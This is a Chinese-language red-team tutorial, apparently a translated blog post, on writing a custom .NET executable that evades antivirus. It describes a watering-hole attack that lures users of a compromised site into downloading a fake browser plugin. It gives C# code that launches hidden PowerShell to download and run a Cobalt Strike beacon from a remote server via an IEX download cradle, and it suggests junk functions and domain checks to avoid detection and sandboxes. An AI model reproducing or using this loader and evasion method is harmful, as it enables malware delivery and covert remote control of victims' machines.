导语:本篇文章介绍了如何通过.NET,编写可以绕过杀软的exe文件。
0x00 背景介绍
在red team参与企业安全建设的情况下,我们可能会需要使用一些可执行文件来完成既定的任务。在最近的一个项目中,我们可以利用一个已经拿到权限的站点实施水坑攻击。我们将JavaScript嵌入网站的登录页面,该网站提醒用户现在需要浏览器插件才能正常工作,然后继续下载所述“插件”。
起初,我们试图使用一个HTA文件在用户的系统上执行PowerShell,这会建立一个C2通道反向连接到我们的服务器(Cobalt Strike)。由于种种原因,这种方法并不试用于我们的目标系统。在正式实施攻击之前,我们已经在不同的操作系统哦上进行了测试,并且证明是可行的。所以在目标系统上不能反弹回shell,我认为可能有两个原因:
· 一、安全防护设备对其进行防护
· 二、目标人没有点击HTA文件 综上所述,我们决定定制一款exe文件,可大幅度提高成功率。 使用exe文件(也称为可移植可执行文件,也就是PE,因为它包含了由Windows运行所需的所有信息) 又会引入新的问题,通常情况下,其必须写入磁盘,这样就提高了被杀毒软件检测出来的风险。 从Metasploit到Cobalt Strike的每一个red team工具都能够生成一个exe文件,该文件执行后,将建立一个向攻击者机器的回连C2隧道。虽然每次生成的exe文件,都略有不同,但仍然很有可能被杀毒软件识别。
VirusTotal分析默认的Cobalt Strike Beacon payload 有些工具可以用一些代码来混淆这些PE文件,使他们绕过杀毒软件的检测,比如曾经流行的Veil-Evasion。虽然Veil-Evasion使攻击者更容易生成绕过杀软的恶意代码,但是杀毒软件最近一段时间的跟进,使免杀难度不断增加。
0x01 我们应该如何解决这个问题?
事实证明,我们并不需要0day,或者什么其他的加密手段,用来绕过大多数的杀毒软件。我们只需要自定义一些之前不常见的内容就足够了。在这样的背景下,我们写一个exe文件就可以派上用场了。我们将使用Visual Studio编写一个.NET可执行文件,它将执行我们需要的命令。首先,让我们启动Visual Studio并创建一个新项目。 我们将使用“Windows Forms App (.NET Framework)”模板。
在Visual Studio中创建一个新项目。 我们只是要创建一个可以静默运行的可执行文件(无窗口),所以我们可以删除Visual Studio为我们制作的“Form1.cs”,以及Program.cs中Main函数的内容。 如果你想为你的恶意软件创建一个唬人的前端界面用来迷惑被攻击者,你也可以不删除他们,去加一些有用的功能。
删除生成的表单后的项目。 接下来,我们将展示如何从C#应用程序中启动一个程序。 这里我们将使用PowerShell作为一个例子进行演示。在之后的文章中,我们将展示如何从当前程序中加载恶意代码,而无需启动另一个进程。 我们将使用System.Diagnostics.Process类来设置和启动新进程。
我们将设置powershell.exe作为我们的进程,并传递一个命令来运行。 在这个例子中,我们将告诉PowerShell休眠10秒,以便我们有时间观察这程序的运行原理。
static void Main() { Process process = new Process(); process.StartInfo.FileName = "powershell.exe"; process.StartInfo.Arguments = "-c "Start-Sleep -s 10""; process.Start(); }
如果我们运行这个程序(点击顶部菜单中的“开始”按钮或者按F5键),我们可以看到弹出了powershell窗口,10秒钟后关闭。同时我们可以观察到初始化的C#进程一旦完成启动PowerShell的操作就关闭,不会等待PowerShell进程退出。 观察完PowerShell的执行过程后,现在我们现在可以设置对我们的窗口进行隐藏。 使用ProcessStartInfo类,可以做到这一点,而不需要在PowerShell中使用“-w hidden”参数(这种操作会被杀毒软件标记为可疑程序)。
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
我们还可以将休眠命令替换为一个PowerShell命令,该命令将下载并执行指定的payload – 这里我们使用Cobalt Strike Beacon进行实验。
process.StartInfo.Arguments = "-c "IEX ((new-object net.webclient).downloadstring('http://10.7.254.230/beacon.ps1'))""
是时候表演真正的技术了,运过我们直接对代码进行编译执行,最终的exe文件在binDebugprojectname.exe目录下直接执行。如果我们不希望在本地直接执行,可以选择Build > Build Solution或按F6生成exe文件(不会执行),复制到实验机器中再次进行操作。
现在是时候我们真的想要我们的exe文件。 如果您已经运行了代码的最终版本,则该exe文件将位于projectname bin Debug projectname.exe下的项目文件夹中。 如果你想避免在自己的系统上运行你的有效负载,你可以选择Build> Build Solution或者按F6来构建一个新的exe版本,而不需要真正执行你的程序。
0x02 结果
让我们来看一下最终结果。
VirusTotal对我们定制的padload的分析结果。 很棒! 并且执行后,可以成功建立C2链接。
0x03 接下来我们应该怎么做?
显然,这五行自定义代码并不是一个可以长期使用的解决方案。毫不怀疑的说,如果其他人发现这个方法有用,我们刚创建的可执行文件将会再未来的一段时间内被各种杀毒软件识别。 我们自己编写可执行文件的好处是,我们可以自定义程序的核心代码,并且可以随时随地进行重大修改。添加一些无关的函数来隐藏我们的代码其实很简单,无论是计算圆的面积还是对一串数字进行排序。我们也可以看看其他.NET函数来增强程序的功能。 例如,如果我们知道目标系统的域环境,我们可以在启动我们的PowerShell进程之前对其进行检查,避免沙箱环境。
很明显,在这里我们仍然调用PowerShell,所以任何与此相关的日志仍然适用。 理想情况下,我们不会在我们自己的可执行文件之外调用任何程序。 接下来的一个步骤是是将整个payload包含在可执行文件中。 有很多不同的方法可以实现,从在本地机器上托管PowerShell代码并使用相同的下载和执行命令,直接将shell代码加载到内存中。 不要担心,白帽子们!敬请期待我们的下一篇作品!将会对这些问题进行一一的解答。